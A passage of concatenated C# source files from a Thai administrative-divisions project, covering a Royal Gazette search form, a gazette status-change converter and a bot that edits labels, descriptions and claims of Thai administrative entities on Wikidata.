lBuilder.AppendLine("Days between signature and publication");
lBuilder.AppendLine(" Maximum: " + mDaysBetweenSignAndPublication.MaxValue.ToString());
lBuilder.AppendLine(" Minimum: " + mDaysBetweenSignAndPublication.MinValue.ToString());
lBuilder.AppendLine(" Mean: " + mDaysBetweenSignAndPublication.MeanValue.ToString());
lBuilder.AppendLine(" Most common: " + mDaysBetweenSignAndPublication.MostCommonValue.ToString());
lBuilder.AppendLine();
lBuilder.AppendLine("Days between publication and becoming effective");
lBuilder.AppendLine(" Maximum: " + mDaysBetweenPublicationAndEffective.MaxValue.ToString());
lBuilder.AppendLine(" Minimum: " + mDaysBetweenPublicationAndEffective.MinValue.ToString());
lBuilder.AppendLine(" Mean: " + mDaysBetweenPublicationAndEffective.MeanValue.ToString());
lBuilder.AppendLine(" Most common: " + mDaysBetweenPublicationAndEffective.MostCommonValue.ToString());
lBuilder.AppendLine();
String retval = lBuilder.ToString();
return retval;
}
#endregion
}
}
<file_sep>/RoyalGazetteSearch.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
namespace De.AHoerstemeier.Tambon
{
public partial class RoyalGazetteSearch : Form
{
private class SearchData
{
internal String SearchString { get; set; }
internal Int32 StartYear { get; set; }
internal Int32 EndYear { get; set; }
internal List<EntityType> EntityTypes { get; set; }
internal List<EntityModification> EntityModifications { get; set; }
internal SearchData()
{
StartYear = 0;
EndYear = 0;
EntityTypes = new List<EntityType>();
EntityModifications = new List<EntityModification>();
}
}
public RoyalGazetteSearch()
{
InitializeComponent();
}
internal event RoyalGazetteProcessingFinishedHandler SearchFinished;
private void button1_Click(object sender, EventArgs e)
{
SearchData data = new SearchData();
if (!cbx_AllYears.Checked)
{
data.StartYear = Convert.ToInt32(edtYearStart.Value);
data.EndYear = Convert.ToInt32(edtYearEnd.Value);
}
data.SearchString = cbxSearchKey.Text;
if (chkChangwat.Checked)
{
data.EntityTypes.Add(EntityType.Changwat);
}
if (chkAmphoe.Checked)
{
data.EntityTypes.Add(EntityType.Amphoe);
data.EntityTypes.Add(EntityType.KingAmphoe);
data.EntityTypes.Add(EntityType.Khet);
}
if (chkTambon.Checked)
{
data.EntityTypes.Add(EntityType.Tambon);
data.EntityTypes.Add(EntityType.Khwaeng);
}
if (chkThesaban.Checked)
{
data.EntityTypes.Add(EntityType.Thesaban);
data.EntityTypes.Add(EntityType.ThesabanTambon);
data.EntityTypes.Add(EntityType.ThesabanMueang);
data.EntityTypes.Add(EntityType.ThesabanNakhon);
}
if (chkSukhaphiban.Checked)
{
data.EntityTypes.Add(EntityType.Sukhaphiban);
}
if (chkMuban.Checked)
{
data.EntityTypes.Add(EntityType.Muban);
}
if (chkTAO.Checked)
{
data.EntityTypes.Add(EntityType.TAO);
}
if (chkPAO.Checked)
{
data.EntityTypes.Add(EntityType.PAO);
}
if (chkTambonCouncil.Checked)
{
data.EntityTypes.Add(EntityType.SaphaTambon);
}
if (chkCreation.Checked)
{
data.EntityModifications.Add(EntityModification.Creation);
}
if (chkAbolishment.Checked)
{
data.EntityModifications.Add(EntityModification.Abolishment);
}
if (chkArea.Checked)
{
data.EntityModifications.Add(EntityModification.AreaChange);
}
if (chkRename.Checked)
{
data.EntityModifications.Add(EntityModification.Rename);
}
if (chkStatus.Checked)
{
data.EntityModifications.Add(EntityModification.StatusChange);
}
if (chkConstituency.Checked)
{
data.EntityModifications.Add(EntityModification.Constituency);
}
BackgroundWorker b = new BackgroundWorker();
b.WorkerReportsProgress = false;
b.WorkerSupportsCancellation = false;
b.DoWork += BackgroundWorker_DoWork;
b.RunWorkerCompleted += BackgroundWorker_RunWorkerCompleted;
b.RunWorkerAsync(data);
}
private void BackgroundWorker_DoWork(object sender, DoWorkEventArgs e)
{
RoyalGazetteList list = new RoyalGazetteList();
SearchData data = e.Argument as SearchData;
if (data != null)
{
var searcher = new RoyalGazetteOnlineSearch();
DateTime dateStart;
DateTime dateEnd;
dateStart = new DateTime(Math.Max(1800, data.StartYear), 1, 1);
dateEnd = new DateTime(Math.Max(1800, data.EndYear), 1, 1);
if (!String.IsNullOrEmpty(data.SearchString))
{
list.AddRange(searcher.SearchString(dateStart, dateEnd, data.SearchString));
// Thread.Sleep(1000); // seems the Gazette website blocks when to many requests are received
}
if (data.EntityTypes.Any() && data.EntityModifications.Any())
{
list.AddRange(searcher.SearchNewsRangeAdministrative(dateStart, dateEnd, data.EntityTypes, data.EntityModifications));
// Thread.Sleep(1000); // seems the Gazette website blocks when to many requests are received
}
}
e.Result = list;
}
private void BackgroundWorker_RunWorkerCompleted(Object sender, RunWorkerCompletedEventArgs e)
{
RoyalGazetteList list = e.Result as RoyalGazetteList;
if (list != null)
{
SearchFinished(this, new RoyalGazetteEventArgs(list));
}
}
private void cbx_AllYears_CheckedChanged(object sender, EventArgs e)
{
edtYearEnd.Enabled = !cbx_AllYears.Checked;
edtYearStart.Enabled = !cbx_AllYears.Checked;
}
private void RoyalGazetteSearch_Load(object sender, EventArgs e)
{
edtYearEnd.Maximum = DateTime.Now.Year;
edtYearEnd.Value = DateTime.Now.Year;
edtYearStart.Maximum = DateTime.Now.Year;
edtYearStart.Value = DateTime.Now.Year;
}
}
}<file_sep>/TambonMain/GazetteStatusChange.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteStatusChange
{
/// <summary>
/// Converts the gazette operation into a entity history entry.
/// </summary>
/// <returns>Corresponding history entry.</returns>
public override HistoryEntryBase ConvertToHistory()
{
if ( this.old == EntityType.SaphaTambon && this.@new == EntityType.TAO )
{
var historyCreate = new HistoryCreate();
historyCreate.type = this.@new;
return historyCreate;
}
else
{
var historyStatus = new HistoryStatus();
historyStatus.old = this.old;
historyStatus.@new = this.@new;
return historyStatus;
}
}
}
}<file_sep>/TambonMain/WikiDataBot.cs
using System;
using System.Collections.Generic;
using System.Device.Location;
using System.Linq;
using System.Text;
using Wikibase;
using Wikibase.DataValues;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Delegate for the <see cref=" WikiDataBot"/>
/// </summary>
/// <param name="entities">Entities to process.</param>
/// <param name="collisionInfo">Trace for items which need manual review.</param>
/// <param name="overrideData"><c>true</c> if wrong statements should be corrected, <c>false</c> otherwise.</param>
public delegate void WikiDataTaskDelegate(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData);
/// <summary>
/// List entry for the <see cref="WikiDataBot"/> tasks.
/// </summary>
public class WikiDataTaskInfo
{
/// <summary>
/// Gets the description of the task.
/// </summary>
/// <value>The description of the task.</value>
public String DisplayName
{
get;
private set;
}
/// <summary>
/// The delegate to be run for the task.
/// </summary>
/// <value>The delegate to be run.</value>
public WikiDataTaskDelegate Task
{
get;
private set;
}
/// <summary>
/// Creates a new instance of <see cref="WikiDataTaskInfo"/>.
/// </summary>
/// <param name="displayName">Description of the task.</param>
/// <param name="task">Delegate to be run.</param>
public WikiDataTaskInfo(String displayName, WikiDataTaskDelegate task)
{
DisplayName = displayName;
Task = task;
}
/// <summary>
/// Gets the display name.
/// </summary>
/// <returns>Display name.</returns>
public override string ToString()
{
return DisplayName;
}
}
/// <summary>
/// Bot to edit the Thai administrative entities on WikiData.
/// </summary>
public class WikiDataBot
{
#region fields
private List<WikiDataTaskInfo> _availableTasks;
private WikiDataHelper _helper;
private Dictionary<WikiDataState, Int32> _runInfo;
#endregion fields
#region properties
/// <summary>
/// Gets the available tasks.
/// </summary>
/// <value>Available tasks.</value>
public IEnumerable<WikiDataTaskInfo> AvailableTasks
{
get
{
return _availableTasks;
}
}
/// <summary>
/// Gets the information of the previous run.
/// </summary>
/// <value>Information on previous run.</value>
public Dictionary<WikiDataState, Int32> RunInfo
{
get
{
return _runInfo;
}
}
public WikiDataTaskInfo SetContainsSubdivisionTask
{
get;
private set;
}
public WikiDataTaskInfo SetLocatorMapTask
{
get;
private set;
}
#endregion properties
#region constructor
/// <summary>
/// Creates a new instance of <see cref="WikiDataBot"/>.
/// </summary>
/// <param name="helper">Wiki data helper.</param>
/// <exception cref="ArgumentNullException"><paramref name="helper"/> is <c>null</c>.</exception>
public WikiDataBot(WikiDataHelper helper)
{
_ = helper ?? throw new ArgumentNullException(nameof(helper));
_helper = helper;
_runInfo = new Dictionary<WikiDataState, Int32>();
_availableTasks = new List<WikiDataTaskInfo>();
WikiDataTaskDelegate setDescriptionEnglish = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetDescription(Language.English, entities, collisionInfo, overrideData);
WikiDataTaskDelegate setDescriptionThai = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetDescription(Language.Thai, entities, collisionInfo, overrideData);
WikiDataTaskDelegate setDescriptionGerman = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetDescription(Language.German, entities, collisionInfo, overrideData);
_availableTasks.Add(new WikiDataTaskInfo("Set description [en]", setDescriptionEnglish));
_availableTasks.Add(new WikiDataTaskInfo("Set description [de]", setDescriptionGerman));
_availableTasks.Add(new WikiDataTaskInfo("Set description [th]", setDescriptionThai));
WikiDataTaskDelegate setLabelEnglish = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetLabel(Language.English, entities, collisionInfo, overrideData);
WikiDataTaskDelegate setLabelGerman = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetLabel(Language.German, entities, collisionInfo, overrideData);
WikiDataTaskDelegate setLabelThai = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetLabel(Language.Thai, entities, collisionInfo, overrideData);
_availableTasks.Add(new WikiDataTaskInfo("Set label [en]", setLabelEnglish));
_availableTasks.Add(new WikiDataTaskInfo("Set label [de]", setLabelGerman));
_availableTasks.Add(new WikiDataTaskInfo("Set label [th]", setLabelThai));
_availableTasks.Add(new WikiDataTaskInfo("Set IPA", SetIpa));
_availableTasks.Add(new WikiDataTaskInfo("Set Thai abbreviation", SetThaiAbbreviation));
_availableTasks.Add(new WikiDataTaskInfo("Set country", SetCountry));
_availableTasks.Add(new WikiDataTaskInfo("Set is in administrative unit", SetIsInAdministrativeUnit));
WikiDataTaskDelegate setInstanceOf = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetTypeOfAdministrativeUnit(entities, collisionInfo, overrideData);
// _availableTasks.Add(new WikiDataTaskInfo("Set type of administrative unit", setTypeOfAdministrativeUnit));
_availableTasks.Add(new WikiDataTaskInfo("Set instance of", setInstanceOf));
_availableTasks.Add(new WikiDataTaskInfo("Set OpenStreetMap", SetOpenStreetMap));
SetContainsSubdivisionTask = new WikiDataTaskInfo("Set ContainsSubdivisions", SetContainsSubdivisions);
_availableTasks.Add(SetContainsSubdivisionTask);
SetLocatorMapTask = new WikiDataTaskInfo("Set locator map", SetLocatorMap);
_availableTasks.Add(SetLocatorMapTask);
_availableTasks.Add(new WikiDataTaskInfo("Set TIS 1099", SetGeocode));
_availableTasks.Add(new WikiDataTaskInfo("Set GND reference", SetGnd));
_availableTasks.Add(new WikiDataTaskInfo("Set GNS-UFI reference", SetGNSUFI));
_availableTasks.Add(new WikiDataTaskInfo("Set Facebook place id", SetFacebookPlaceId));
_availableTasks.Add(new WikiDataTaskInfo("Set official website", SetOfficialWebsite));
_availableTasks.Add(new WikiDataTaskInfo("Set WOEID reference", SetWoeid));
_availableTasks.Add(new WikiDataTaskInfo("Set HASC reference", SetHASC));
_availableTasks.Add(new WikiDataTaskInfo("Set GADM reference", SetGadm));
_availableTasks.Add(new WikiDataTaskInfo("Set geonames reference", SetGeonames));
_availableTasks.Add(new WikiDataTaskInfo("Set Postal code", SetPostalCode));
_availableTasks.Add(new WikiDataTaskInfo("Set Location", SetLocation));
WikiDataTaskDelegate setCensus2010 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 2010);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 2010", setCensus2010));
WikiDataTaskDelegate setDopa2021 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2021);
_availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2021", setDopa2021));
WikiDataTaskDelegate setDopa2020 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2020);
_availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2020", setDopa2020));
WikiDataTaskDelegate setDopa2019 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2019);
_availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2019", setDopa2019));
WikiDataTaskDelegate setDopa2018 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2018);
_availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2018", setDopa2018));
WikiDataTaskDelegate setDopa2017 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2017);
// _availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2017", setDopa2017));
// WikiDataTaskDelegate setDopa2016 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2016);
// _availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2016", setDopa2016));
WikiDataTaskDelegate setDopa2015 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2015);
_availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2015", setDopa2015));
// WikiDataTaskDelegate setDopa2014 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.DOPA, 2014);
// _availableTasks.Add(new WikiDataTaskInfo("Set DOPA population 2014", setDopa2014));
WikiDataTaskDelegate setCensus2000 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 2000);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 2000", setCensus2000));
WikiDataTaskDelegate setCensus1990 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 1990);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 1990", setCensus1990));
WikiDataTaskDelegate setCensus1980 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 1980);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 1980", setCensus1980));
WikiDataTaskDelegate setCensus1970 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 1970);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 1970", setCensus1970));
WikiDataTaskDelegate setCensus1960 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 1960);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 1960", setCensus1960));
WikiDataTaskDelegate setCensus1947 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 1947);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 1947", setCensus1947));
WikiDataTaskDelegate setCensus1937 = (IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData) => SetPopulationData(entities, collisionInfo, overrideData, PopulationDataSourceType.Census, 1937);
_availableTasks.Add(new WikiDataTaskInfo("Set Census 1937", setCensus1937));
_availableTasks.Add(new WikiDataTaskInfo("Set Slogan", SetSlogan));
_availableTasks.Add(new WikiDataTaskInfo("Set native label", SetNativeLabel));
_availableTasks.Add(new WikiDataTaskInfo("Set official name", SetOfficialName));
_availableTasks.Add(new WikiDataTaskInfo("Set bounding entities", SetShareBorderWith));
_availableTasks.Add(new WikiDataTaskInfo("Set Inception", SetInception));
_availableTasks.Add(new WikiDataTaskInfo("Set Described by Url", SetDescribedByUrl));
_availableTasks.Add(new WikiDataTaskInfo("Set named after subdivision", SetNamedAfterSubdivision));
_availableTasks.Add(new WikiDataTaskInfo("Set overlap", SetOverlap));
_availableTasks.Add(new WikiDataTaskInfo("Cleanup population data", CleanupPopulationData));
}
#endregion constructor
#region public methods
/// <summary>
/// Disconnects from WikiData server.
/// </summary>
public void LogOut()
{
_helper.Api.logout();
}
/// <summary>
/// Counts the links to the various Wikimedia projects.
/// </summary>
/// <param name="entities">Entities to check.</param>
/// <returns>Number of sitelinks by name of the wiki.</returns>
public Dictionary<String, Int32> CountSiteLinks(IEnumerable<Entity> entities, StringBuilder collisionData)
{
var result = new Dictionary<String, Int32>();
result["Orphan"] = 0;
result["Deleted"] = 0;
// Create a new EntityProvider instance and pass the api created above.
EntityProvider entityProvider = new EntityProvider(_helper.Api);
foreach (var entity in entities)
{
// Get an entity by searching for the id
var item = _helper.GetWikiDataItemForEntity(entity);
if (item != null)
{
var links = item.getSitelinks();
if (!links.Any())
{
result["Orphan"]++;
if (collisionData != null)
{
collisionData.AppendFormat("Orphan: {0} - {1} ({2})", entity.wiki.wikidata, entity.english, entity.geocode);
collisionData.AppendLine();
}
}
foreach (var key in links.Keys)
{
if (!result.ContainsKey(key))
{
result[key] = 0;
}
result[key]++;
}
}
else
{
result["Deleted"]++;
if (collisionData != null)
{
collisionData.AppendFormat("Deleted: {0} - {1} ({2})", entity.wiki.wikidata, entity.english, entity.geocode);
collisionData.AppendLine();
}
}
}
return result;
}
/// <summary>
/// Create a new Wikidata item for the given entity and fills the basic properties.
/// </summary>
/// <param name="entity">Entity to need new item.</param>
public void CreateItem(Entity entity)
{
_ = entity ?? throw new ArgumentNullException(nameof(entity));
if (entity.wiki != null && !String.IsNullOrWhiteSpace(entity.wiki.wikidata))
{
throw new ArgumentException("Entity already has a Wikidata item");
}
var item = new Item(_helper.Api);
item.setLabel("en", entity.english);
item.setLabel("de", entity.english);
item.setLabel("th", entity.FullName);
item.setDescription("en", entity.GetWikiDataDescription(Language.English));
item.setDescription("de", entity.GetWikiDataDescription(Language.German));
item.setDescription("th", entity.GetWikiDataDescription(Language.Thai));
item.save(_helper.GetItemCreateSaveSummary(item));
if (entity.wiki == null)
{
entity.wiki = new WikiLocation();
}
entity.wiki.wikidata = item.id.PrefixedId.ToUpperInvariant();
var items = new List<Entity>();
items.Add(entity);
var dummy = new StringBuilder();
SetThaiAbbreviation(items, dummy, false);
SetCountry(items, dummy, false);
SetIsInAdministrativeUnit(items, dummy, false);
SetTypeOfAdministrativeUnit(items, dummy, false);
if (!entity.type.IsCompatibleEntityType(EntityType.Muban) && !entity.type.IsLocalGovernment())
{
SetGeocode(items, dummy, false);
}
SetPostalCode(items, dummy, false);
SetLocation(items, dummy, false);
SetNativeLabel(items, dummy, false);
SetOfficialName(items, dummy, false);
SetDescribedByUrl(items, dummy, false);
SetNamedAfterSubdivision(items, dummy, false);
SetOverlap(items, dummy, false);
}
/// <summary>
/// Create a new Wikidata item for the category to the given entity and fills the basic properties.
/// </summary>
/// <param name="entity">Entity to need new item.</param>
public void CreateCategory(Entity entity)
{
_ = entity ?? throw new ArgumentNullException(nameof(entity));
if (entity.wiki == null || String.IsNullOrWhiteSpace(entity.wiki.wikidata))
{
throw new ArgumentException("Entity has no Wikidata item yet");
}
var item = new Item(_helper.Api);
item.setLabel("en", "Category:" + entity.EnglishFullName);
// item.setLabel("de", "Kategorie:" + entity.english);
item.setLabel("th", "หมวดหมู่:" + entity.FullName);
item.setDescription("en", "Wikimedia category page");
item.setDescription("de", "Wikimedia-Kategorie");
item.setDescription("th", "หน้าหมวดหมู่วิกิพีเดีย");
item.save(_helper.GetItemCreateSaveSummary(item));
Statement instanceStatement;
_helper.CheckPropertyValue(item, WikiBase.PropertyIdInstanceOf, WikiBase.ItemWikimediaCategory, true, false, out instanceStatement);
if (instanceStatement != null)
{
instanceStatement.save(_helper.GetClaimSaveEditSummary(instanceStatement));
}
Statement categoryStatement;
_helper.CheckPropertyValue(item, WikiBase.PropertyIdTopicForCategory, entity.wiki.wikidata, true, false, out categoryStatement);
if (categoryStatement != null)
{
categoryStatement.save(_helper.GetClaimSaveEditSummary(categoryStatement));
}
Statement linkStatement;
var entityItem = _helper.GetWikiDataItemForEntity(entity);
_helper.CheckPropertyValue(entityItem, WikiBase.PropertyIdCategoryForTopic, item.id.PrefixedId, true, false, out linkStatement);
if (linkStatement != null)
{
linkStatement.save(_helper.GetClaimSaveEditSummary(linkStatement));
}
}
#endregion public methods
#region private methods
private void SetDescription(Language language, IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
var languageCode = language.ToCode();
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var oldDescription = item.getDescription(languageCode);
var newDescription = entity.GetWikiDataDescription(language);
if (String.IsNullOrEmpty(oldDescription))
{
_runInfo[WikiDataState.NotSet]++;
item.setDescription(languageCode, newDescription);
item.save(String.Format("Added description [{0}]: {1}", languageCode, newDescription));
}
else if (oldDescription != newDescription)
{
_runInfo[WikiDataState.WrongValue]++;
if (collisionInfo != null)
{
collisionInfo.AppendFormat("{0}: {1} already has description [{2}] \"{3}\"", item.id, entity.english, languageCode, oldDescription);
collisionInfo.AppendLine();
}
if (overrideData)
{
item.setDescription(languageCode, newDescription);
item.save(String.Format("Updated description [{0}]: {1}", languageCode, newDescription));
}
}
else
{
_runInfo[WikiDataState.Valid]++;
}
}
}
}
public String GetCommonsCategory(Entity entity)
{
var result = String.Empty;
var item = _helper.GetWikiDataItemForEntity(entity);
if (item != null)
{
result = _helper.GetStringClaim(item, WikiBase.PropertyIdCommonsCategory);
}
return result;
}
public Boolean CheckCommonsCategory(Entity entity)
{
var result = true;
var commonsCategoryOnItem = String.Empty;
var item = _helper.GetWikiDataItemForEntity(entity);
if (item != null)
{
commonsCategoryOnItem = _helper.GetStringClaim(item, WikiBase.PropertyIdCommonsCategory);
var categoryItem = _helper.GetItemClaim(item, WikiBase.PropertyIdCategoryForTopic);
if (categoryItem != null)
{
var commonsCategoryOnCategory = _helper.GetStringClaim(categoryItem, WikiBase.PropertyIdCommonsCategory);
if (!String.IsNullOrEmpty(commonsCategoryOnCategory))
{
result &= commonsCategoryOnItem == commonsCategoryOnCategory;
}
var siteLinks = categoryItem.getSitelinks();
var commonsLink = String.Empty;
if (siteLinks.ContainsKey(WikiBase.SiteLinkCommons))
{
commonsLink = categoryItem.getSitelink(WikiBase.SiteLinkCommons);
}
if (!String.IsNullOrEmpty(commonsCategoryOnItem))
{
result &= commonsLink == "Category:" + commonsCategoryOnItem;
}
else if (!String.IsNullOrEmpty(commonsLink))
{
result = false; // commons link in category, but no commons category property set on main item
}
}
}
return result;
}
private void SetLabel(Language language, IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
var languageCode = language.ToCode();
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var oldLabel = item.getLabel(languageCode);
String newLabel;
if (language == Language.Thai)
{
newLabel = entity.FullName;
}
else
{
if (entity.type == EntityType.Chumchon)
{
newLabel = entity.english.StripBanOrChumchon();
}
else if (entity.type == EntityType.PAO)
{
newLabel = entity.english + " " + entity.type.Translate(language);
}
else
{
newLabel = entity.english;
}
}
if (String.IsNullOrEmpty(oldLabel))
{
_runInfo[WikiDataState.NotSet]++;
item.setLabel(languageCode, newLabel);
item.save(String.Format("Added label [{0}]: {1}", languageCode, newLabel));
}
else if (oldLabel != newLabel)
{
_runInfo[WikiDataState.WrongValue]++;
if (collisionInfo != null)
{
collisionInfo.AppendFormat("{0}: {1} already has label [{2}] \"{3}\"", item.id, entity.english, languageCode, oldLabel);
collisionInfo.AppendLine();
}
if (overrideData)
{
item.setLabel(languageCode, newLabel);
item.save(String.Format("Updated label [{0}]: {1}", languageCode, newLabel));
}
}
else
{
_runInfo[WikiDataState.Valid]++;
}
}
}
}
private void SetThaiAbbreviation(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
var languageCode = Language.Thai.ToCode();
ClearRunInfo();
foreach (var entity in entities.Where(x => x.type != EntityType.Muban))
{
String newAlias = entity.AbbreviatedName;
if (!String.IsNullOrEmpty(newAlias))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var oldAliases = item.getAlias(languageCode);
if ((oldAliases == null) || !oldAliases.Contains(newAlias))
{
_runInfo[WikiDataState.NotSet]++;
item.addAlias(languageCode, newAlias);
item.save(String.Format("Added alias [{0}]: {1}", languageCode, newAlias));
}
else
{
_runInfo[WikiDataState.Valid]++;
}
}
}
}
}
private void ClearRunInfo()
{
_runInfo.Clear();
foreach (var state in Enum.GetValues(typeof(WikiDataState)))
{
_runInfo[(WikiDataState)state] = 0;
}
}
private void SetCountry(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.IsInCountryCorrect(item);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong country", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetIsInCountry(item, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
/// <summary>
/// Set the <see cref="WikiBase.PropertyIdTerritoryIdentical"/> and <see cref="WikiBase.PropertyIdTerritoryOverlap"/> for
/// <see cref="EntityType.Tambon"/> and the local government.
/// </summary>
/// <param name="entities">Entities to process.</param>
/// <param name="collisionInfo">Collision info to return.</param>
/// <param name="overrideData"><c>true</c> to override faulty data, <c>false</c> otherwise.</param>
private void SetOverlap(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException("entities");
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.IsOverlapCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong overlap", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statements = _helper.SetOverlap(item, entity, overrideData);
foreach (var statement in statements)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
private void SetOpenStreetMap(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => x.wiki.openstreetmapSpecified))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.OpenStreetMapCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong OpenStreetMap id", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetOpenStreetMap(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
private void SetGeocode(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.GeocodeCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
